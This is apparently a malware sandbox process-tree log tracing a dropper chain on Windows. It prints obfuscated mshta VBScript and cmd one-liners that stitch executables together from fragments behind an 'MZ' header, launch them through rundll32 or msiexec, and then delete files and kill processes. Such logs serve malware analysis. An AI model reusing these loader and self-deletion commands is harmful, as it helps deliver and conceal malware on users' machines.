                                                                                                                                                                                                                                                                                          "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\Pictures\Adobe Films\7QW2UErb_yjwvtsrM8E2OkjV.exe" & exit
                                                                                                                                                                                                                                                                                          7⤵
                                                                                                                                                                                                                                                                                            PID:1744
                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\timeout.exe
                                                                                                                                                                                                                                                                                              timeout /t 5
                                                                                                                                                                                                                                                                                              8⤵
                                                                                                                                                                                                                                                                                              • Delays execution with timeout.exe
                                                                                                                                                                                                                                                                                              PID:6152
                                                                                                                                                                                                                                                                                        • C:\Users\Admin\Pictures\Adobe Films\flvPHKnl2626GHOVmZ7CF2mY.exe
                                                                                                                                                                                                                                                                                          "C:\Users\Admin\Pictures\Adobe Films\flvPHKnl2626GHOVmZ7CF2mY.exe"
                                                                                                                                                                                                                                                                                          6⤵
                                                                                                                                                                                                                                                                                            PID:5192
                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\DownFlSetup110.exe
                                                                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\DownFlSetup110.exe"
                                                                                                                                                                                                                                                                                              7⤵
                                                                                                                                                                                                                                                                                                PID:5976
                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\5529931.exe
                                                                                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\5529931.exe"
                                                                                                                                                                                                                                                                                                  8⤵
                                                                                                                                                                                                                                                                                                    PID:10048
                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\8288870.exe
                                                                                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\8288870.exe"
                                                                                                                                                                                                                                                                                                    8⤵
                                                                                                                                                                                                                                                                                                      PID:10044
                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\907269.exe
                                                                                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\907269.exe"
                                                                                                                                                                                                                                                                                                      8⤵
                                                                                                                                                                                                                                                                                                        PID:9896
                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\mshta.exe
                                                                                                                                                                                                                                                                                                          "C:\Windows\System32\mshta.exe" vbscRIpt: cLosE ( CreateOBjEct ( "WsCrIpT.shelL" ). Run ( "cMD /q /c cOPy /Y ""C:\Users\Admin\AppData\Local\907269.exe"" ..\RxAPuFNW.exe && sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i & IF """" == """" for %Z iN ( ""C:\Users\Admin\AppData\Local\907269.exe"" ) do taskkill -f -Im ""%~NXZ"" ", 0, TRUE ) )
                                                                                                                                                                                                                                                                                                          9⤵
                                                                                                                                                                                                                                                                                                            PID:6572
                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                              "C:\Windows\System32\cmd.exe" /q /c cOPy /Y "C:\Users\Admin\AppData\Local\907269.exe" ..\RxAPuFNW.exe && sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i &IF "" == "" for %Z iN ( "C:\Users\Admin\AppData\Local\907269.exe" ) do taskkill -f -Im "%~NXZ"
                                                                                                                                                                                                                                                                                                              10⤵
                                                                                                                                                                                                                                                                                                                PID:9424
                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe
                                                                                                                                                                                                                                                                                                                  ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i
                                                                                                                                                                                                                                                                                                                  11⤵
                                                                                                                                                                                                                                                                                                                    PID:6880
                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\mshta.exe
                                                                                                                                                                                                                                                                                                                      "C:\Windows\System32\mshta.exe" vbscRIpt: cLosE ( CreateOBjEct ( "WsCrIpT.shelL" ). Run ( "cMD /q /c cOPy /Y ""C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe"" ..\RxAPuFNW.exe && sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i & IF ""-P1jBMdKQQ16j1dp4oT~i "" == """" for %Z iN ( ""C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe"" ) do taskkill -f -Im ""%~NXZ"" ", 0, TRUE ) )
                                                                                                                                                                                                                                                                                                                      12⤵
                                                                                                                                                                                                                                                                                                                        PID:4168
                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                          "C:\Windows\System32\cmd.exe" /q /c cOPy /Y "C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe" ..\RxAPuFNW.exe && sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i &IF "-P1jBMdKQQ16j1dp4oT~i " == "" for %Z iN ( "C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe" ) do taskkill -f -Im "%~NXZ"
                                                                                                                                                                                                                                                                                                                          13⤵
                                                                                                                                                                                                                                                                                                                            PID:700
                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\mshta.exe
                                                                                                                                                                                                                                                                                                                          "C:\Windows\System32\mshta.exe" VBSCRipT: CLOse ( createoBJECt ( "wScRIpt.shelL" ). RUn ("cMd /C EChO | SEt /p = ""MZ"" > CPkPI.i & CopY /b /Y CPkpI.I + sQCC.RrX + NvzjY~Q7.S1K+ FZOB0ELr.D +wXR7c.DF ..\WfNrfms4.K & StARt control ..\WfNRfms4.K & Del /Q * " , 0 ,tRue ) )
                                                                                                                                                                                                                                                                                                                          12⤵
                                                                                                                                                                                                                                                                                                                            PID:4768
                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                              "C:\Windows\System32\cmd.exe" /C EChO | SEt /p = "MZ" > CPkPI.i & CopY /b /Y CPkpI.I + sQCC.RrX + NvzjY~Q7.S1K+ FZOB0ELr.D +wXR7c.DF ..\WfNrfms4.K & StARt control ..\WfNRfms4.K & Del /Q *
                                                                                                                                                                                                                                                                                                                              13⤵
                                                                                                                                                                                                                                                                                                                                PID:8932
                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /S /D /c" EChO "
                                                                                                                                                                                                                                                                                                                                  14⤵
                                                                                                                                                                                                                                                                                                                                    PID:10288
                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /S /D /c" SEt /p = "MZ" 1>CPkPI.i"
                                                                                                                                                                                                                                                                                                                                    14⤵
                                                                                                                                                                                                                                                                                                                                      PID:10332
                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\control.exe
                                                                                                                                                                                                                                                                                                                                      control ..\WfNRfms4.K
                                                                                                                                                                                                                                                                                                                                      14⤵
                                                                                                                                                                                                                                                                                                                                        PID:10988
                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                                                                                                                                          "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL ..\WfNRfms4.K
                                                                                                                                                                                                                                                                                                                                          15⤵
                                                                                                                                                                                                                                                                                                                                            PID:11160
                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                                                                                                                                                    taskkill -f -Im "907269.exe"
                                                                                                                                                                                                                                                                                                                                    11⤵
                                                                                                                                                                                                                                                                                                                                    • Kills process with taskkill
                                                                                                                                                                                                                                                                                                                                    PID:7628
                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\4417394.exe
                                                                                                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\4417394.exe"
                                                                                                                                                                                                                                                                                                                              8⤵
                                                                                                                                                                                                                                                                                                                                PID:4748
                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\6898118.exe
                                                                                                                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Local\6898118.exe"
                                                                                                                                                                                                                                                                                                                                8⤵
                                                                                                                                                                                                                                                                                                                                  PID:8396
                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\WW1Soft.exe
                                                                                                                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\WW1Soft.exe"
                                                                                                                                                                                                                                                                                                                                7⤵
                                                                                                                                                                                                                                                                                                                                  PID:4776
                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\liuchang-game.exe
                                                                                                                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\liuchang-game.exe"
                                                                                                                                                                                                                                                                                                                                  7⤵
                                                                                                                                                                                                                                                                                                                                    PID:5860
                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe
                                                                                                                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"
                                                                                                                                                                                                                                                                                                                                    7⤵
                                                                                                                                                                                                                                                                                                                                      PID:5284
                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\mshta.exe
                                                                                                                                                                                                                                                                                                                                        "C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ). Run ( "cmd /R cOpY /Y ""C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If """" == """" for %M in ( ""C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"" ) do taskkill -f -iM ""%~NxM"" " , 0 , truE ) )
                                                                                                                                                                                                                                                                                                                                        8⤵
                                                                                                                                                                                                                                                                                                                                          PID:5884
                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                            "C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If "" == "" for %M in ( "C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe" ) do taskkill -f -iM "%~NxM"
                                                                                                                                                                                                                                                                                                                                            9⤵
                                                                                                                                                                                                                                                                                                                                              PID:8032
                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe
                                                                                                                                                                                                                                                                                                                                                ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi
                                                                                                                                                                                                                                                                                                                                                10⤵
                                                                                                                                                                                                                                                                                                                                                  PID:8640
                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\mshta.exe
                                                                                                                                                                                                                                                                                                                                                    "C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ). Run ( "cmd /R cOpY /Y ""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If ""/PLQtzfgO0m8dRv4iYALOqi "" == """" for %M in ( ""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ) do taskkill -f -iM ""%~NxM"" " , 0 , truE ) )
                                                                                                                                                                                                                                                                                                                                                    11⤵
                                                                                                                                                                                                                                                                                                                                                      PID:7912
                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                        "C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If "/PLQtzfgO0m8dRv4iYALOqi " == "" for %M in ( "C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ) do taskkill -f -iM "%~NxM"
                                                                                                                                                                                                                                                                                                                                                        12⤵
                                                                                                                                                                                                                                                                                                                                                          PID:10160
                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\mshta.exe
                                                                                                                                                                                                                                                                                                                                                        "C:\Windows\System32\mshta.exe" VbScRIpt: CLosE ( cReAteobjEcT ( "wscRiPt.SheLl" ). RUn ( "C:\Windows\system32\cmd.exe /R EcHO UwC:\Users\Admin\AppData\Local\TempNnML~> TRMBiI66.CU & EcHo | Set /P = ""MZ"" > hKS2IU.1Q & COPY /b /Y hKs2Iu.1Q + 9BU~.W + MyBa.V + 1W8lBDVH.AOu + WCWfZ1TN.MJ+ WCBG6.QA + tRMBII66.CU ..\LXQ2G.WC & Del /q *& starT msiexec -Y ..\lXQ2g.WC " , 0, tRUE ) )
                                                                                                                                                                                                                                                                                                                                                        11⤵
                                                                                                                                                                                                                                                                                                                                                          PID:7980
                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                            "C:\Windows\system32\cmd.exe" /R EcHO UwC:\Users\Admin\AppData\Local\TempNnML~> TRMBiI66.CU & EcHo | Set /P = "MZ" >hKS2IU.1Q & COPY /b /Y hKs2Iu.1Q + 9BU~.W + MyBa.V + 1W8lBDVH.AOu + WCWfZ1TN.MJ+ WCBG6.QA + tRMBII66.CU ..\LXQ2G.WC & Del /q *& starT msiexec -Y ..\lXQ2g.WC
                                                                                                                                                                                                                                                                                                                                                            12⤵
                                                                                                                                                                                                                                                                                                                                                              PID:1472
                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /S /D /c" EcHo "
                                                                                                                                                                                                                                                                                                                                                                13⤵
                                                                                                                                                                                                                                                                                                                                                                  PID:4628
                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /S /D /c" Set /P = "MZ" 1>hKS2IU.1Q"
                                                                                                                                                                                                                                                                                                                                                                  13⤵
                                                                                                                                                                                                                                                                                                                                                                    PID:3116
                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\msiexec.exe
                                                                                                                                                                                                                                                                                                                                                                    msiexec -Y ..\lXQ2g.WC
                                                                                                                                                                                                                                                                                                                                                                    13⤵
                                                                                                                                                                                                                                                                                                                                                                      PID:10932
                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                                                                                                                                                                                taskkill -f -iM "search_hyperfs_206.exe"
                                                                                                                                                                                                                                                                                                                                                                10⤵
                                                                                                                                                                                                                                                                                                                                                                • Kills process with taskkill
                                                                                                                                                                                                                                                                                                                                                                PID:6816
                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\askinstall25.exe
                                                                                                                                                                                                                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\askinstall25.exe"
                                                                                                                                                                                                                                                                                                                                                          7⤵
                                                                                                                                                                                                                                                                                                                                                            PID:6188
                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\inst1.exe
                                                                                                                                                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\inst1.exe"
                                                                                                                                                                                                                                                                                                                                                            7⤵
                                                                                                                                                                                                                                                                                                                                                              PID:6016
                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\setup.exe
                                                                                                                                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\setup.exe"
                                                                                                                                                                                                                                                                                                                                                              7⤵
                                                                                                                                                                                                                                                                                                                                                                PID:5480
                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\is-S00JN.tmp\setup.tmp
                                                                                                                                                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\is-S00JN.tmp\setup.tmp" /SL5="$4025C,1570064,56832,C:\Users\Admin\AppData\Local\Temp\setup.exe"
                                                                                                                                                                                                                                                                                                                                                                  8⤵
                                                                                                                                                                                                                                                                                                                                                                    PID:6344
                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\setup.exe
                                                                                                                                                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\setup.exe" /SILENT
                                                                                                                                                                                                                                                                                                                                                                      9⤵
                                                                                                                                                                                                                                                                                                                                                                        PID:6788
                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\is-3VGGS.tmp\setup.tmp
                                                                                                                                                                                                                                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\is-3VGGS.tmp\setup.tmp" /SL5="$30346,1570064,56832,C:\Users\Admin\AppData\Local\Temp\setup.exe" /SILENT
                                                                                                                                                                                                                                                                                                                                                                          10⤵
                                                                                                                                                                                                                                                                                                                                                                            PID:4452
                                                                                                                                                                                                                                                                                                                                                                            • C:\Program Files (x86)\FarLabUninstaller\FarLabUninstaller.exe
                                                                                                                                                                                                                                                                                                                                                                              "C:\Program Files (x86)\FarLabUninstaller\FarLabUninstaller.exe" ss1
                                                                                                                                                                                                                                                                                                                                                                              11⤵
                                                                                                                                                                                                                                                                                                                                                                                PID:6200
                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\is-18BOG.tmp\postback.exe
                                                                                                                                                                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\is-18BOG.tmp\postback.exe" ss1
                                                                                                                                                                                                                                                                                                                                                                                11⤵
                                                                                                                                                                                                                                                                                                                                                                                  PID:7984
                                                                                                                                                                                                                                                                                                                                                                                • C:\Program Files (x86)\FarLabUninstaller\NDP472-KB4054531-Web.exe
                                                                                                                                                                                                                                                                                                                                                                                  "C:\Program Files (x86)\FarLabUninstaller\NDP472-KB4054531-Web.exe" /q /norestart
                                                                                                                                                                                                                                                                                                                                                                                  11⤵
                                                                                                                                                                                                                                                                                                                                                                                    PID:6856
                                                                                                                                                                                                                                                                                                                                                                                    • C:\d346805c323392ae72b2e8de\Setup.exe
                                                                                                                                                                                                                                                                                                                                                                                      C:\d346805c323392ae72b2e8de\\Setup.exe /q /norestart /x86 /x64 /web
                                                                                                                                                                                                                                                                                                                                                                                      12⤵
                                                                                                                                                                                                                                                                                                                                                                                        PID:9024
                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\setup_2.exe
                                                                                                                                                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\setup_2.exe"
                                                                                                                                                                                                                                                                                                                                                                              7⤵
                                                                                                                                                                                                                                                                                                                                                                                PID:6364
                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 6364 -s 656
                                                                                                                                                                                                                                                                                                                                                                                  8⤵
                                                                                                                                                                                                                                                                                                                                                                                  • Program crash
                                                                                                                                                                                                                                                                                                                                                                                  PID:6700
                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 6364 -s 672
                                                                                                                                                                                                                                                                                                                                                                                  8⤵
                                                                                                                                                                                                                                                                                                                                                                                  • Program crash
                                                                                                                                                                                                                                                                                                                                                                                  PID:6896
                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 6364 -s 680
                                                                                                                                                                                                                                                                                                                                                                                  8⤵
                                                                                                                                                                                                                                                                                                                                                                                  • Program crash
                                                                                                                                                                                                                                                                                                                                                                                  PID:3564
                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 6364 -s 652
                                                                                                                                                                                                                                                                                                                                                                                  8⤵
                                                                                                                                                                                                                                                                                                                                                                                  • Program crash
                                                                                                                                                                                                                                                                                                                                                                                  PID:7504
                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\Calculator Installation.exe
                                                                                                                                                                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\Calculator Installation.exe"
                                                                                                                                                                                                                                                                                                                                                                                7⤵
                                                                                                                                                                                                                                                                                                                                                                                  PID:6500
                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\chrome1.exe
                                                                                                                                                                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\chrome1.exe"
                                                                                                                                                                                                                                                                                                                                                                                  7⤵
                                                                                                                                                                                                                                                                                                                                                                                    PID:6668
                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
                                                                                                                                                                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
                                                                                                                                                                                                                                                                                                                                                                                      8⤵
                                                                                                                                                                                                                                                                                                                                                                                        PID:9304
                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\chrome update.exe
                                                                                                                                                                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\chrome update.exe"
                                                                                                                                                                                                                                                                                                                                                                                      7⤵
                                                                                                                                                                                                                                                                                                                                                                                        PID:6780
                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\chrome2.exe
                                                                                                                                                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\chrome2.exe"
                                                                                                                                                                                                                                                                                                                                                                                        7⤵
                                                                                                                                                                                                                                                                                                                                                                                          PID:6968
                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\Pictures\Adobe Films\UjByL3Xny275_CRufQsvG7YK.exe
                                                                                                                                                                                                                                                                                                                                                                                        "C:\Users\Admin\Pictures\Adobe Films\UjByL3Xny275_CRufQsvG7YK.exe"
                                                                                                                                                                                                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                                                                                                                                                                                                          PID:5156
                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\Pictures\Adobe Films\UjByL3Xny275_CRufQsvG7YK.exe
                                                                                                                                                                                                                                                                                                                                                                                            "C:\Users\Admin\Pictures\Adobe Films\UjByL3Xny275_CRufQsvG7YK.exe"
                                                                                                                                                                                                                                                                                                                                                                                            7⤵
                                                                                                                                                                                                                                                                                                                                                                                              PID:5972
                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\Pictures\Adobe Films\8EkhqjDe12G6umap_xpARjEe.exe
                                                                                                                                                                                                                                                                                                                                                                                            "C:\Users\Admin\Pictures\Adobe Films\8EkhqjDe12G6umap_xpARjEe.exe"
                                                                                                                                                                                                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                                                                                                                                                                                                              PID:4172
                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\Pictures\Adobe Films\Zw5UmMwML30SXEE2G2LBP4vc.exe
                                                                                                                                                                                                                                                                                                                                                                                              "C:\Users\Admin\Pictures\Adobe Films\Zw5UmMwML30SXEE2G2LBP4vc.exe"
                                                                                                                                                                                                                                                                                                                                                                                              6⤵
                                                                                                                                                                                                                                                                                                                                                                                                PID:4312
                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 4312 -s 664
                                                                                                                                                                                                                                                                                                                                                                                                  7⤵
                                                                                                                                                                                                                                                                                                                                                                                                  • Program crash
                                                                                                                                                                                                                                                                                                                                                                                                  PID:9204
                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\Pictures\Adobe Films\PXr8ndCzifMXC_ZSNU4fupCW.exe
                                                                                                                                                                                                                                                                                                                                                                                                "C:\Users\Admin\Pictures\Adobe Films\PXr8ndCzifMXC_ZSNU4fupCW.exe"
                                                                                                                                                                                                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                                                                                                                                                                                                  PID:4892
                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\Pictures\Adobe Films\jyCgBc0AXj1oH3Q7yf400WvR.exe
                                                                                                                                                                                                                                                                                                                                                                                                  "C:\Users\Admin\Pictures\Adobe Films\jyCgBc0AXj1oH3Q7yf400WvR.exe"
                                                                                                                                                                                                                                                                                                                                                                                                  6⤵
                                                                                                                                                                                                                                                                                                                                                                                                    PID:5272
                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Roaming\MegogoSell_crypted.exe
                                                                                                                                                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Roaming\MegogoSell_crypted.exe
                                                                                                                                                                                                                                                                                                                                                                                                      7⤵
                                                                                                                                                                                                                                                                                                                                                                                                        PID:5712
                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
                                                                                                                                                                                                                                                                                                                                                                                                          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
                                                                                                                                                                                                                                                                                                                                                                                                          8⤵
                                                                                                                                                                                                                                                                                                                                                                                                            PID:6252
                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 5712 -s 556
                                                                                                                                                                                                                                                                                                                                                                                                            8⤵
                                                                                                                                                                                                                                                                                                                                                                                                            • Program crash
                                                                                                                                                                                                                                                                                                                                                                                                            PID:6564
                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Roaming\Underdress.exe
                                                                                                                                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Roaming\Underdress.exe
                                                                                                                                                                                                                                                                                                                                                                                                          7⤵
                                                                                                                                                                                                                                                                                                                                                                                                            PID:5920
                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\Unseduceability.exe
                                                                                                                                                                                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\Unseduceability.exe"
                                                                                                                                                                                                                                                                                                                                                                                                              8⤵
                                                                                                                                                                                                                                                                                                                                                                                                                PID:4356
                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\Pictures\Adobe Films\3Y4PrrUrhoUfnGbOL3JxTpbB.exe
                                                                                                                                                                                                                                                                                                                                                                                                            "C:\Users\Admin\Pictures\Adobe Films\3Y4PrrUrhoUfnGbOL3JxTpbB.exe"
                                                                                                                                                                                                                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                                                                                                                                                                                                                              PID:9824
                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Roaming\Calculator\setup.exe
                                                                                                                                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=1
                                                                                                                                                                                                                                                                                                                                                                                                                7⤵
                                                                                                                                                                                                                                                                                                                                                                                                                  PID:7640
                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c Wed12ebaf7883e1890d.exe
                                                                                                                                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                                                                                                                                              PID:1964
                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zSC65959E5\Wed12ebaf7883e1890d.exe
                                                                                                                                                                                                                                                                                                                                                                                                                Wed12ebaf7883e1890d.exe
                                                                                                                                                                                                                                                                                                                                                                                                                5⤵
                                                                                                                                                                                                                                                                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                                                                                                                                                                PID:1628
                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c Wed1241cc206cfb.exe
                                                                                                                                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                PID:2304
                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7zSC65959E5\Wed1241cc206cfb.exe
                                                                                                                                                                                                                                                                                                                                                                                                                  Wed1241cc206cfb.exe
                                                                                                                                                                                                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                                                                                                                                                                  PID:900
                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Roaming\294455.exe
                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Roaming\294455.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                    6⤵
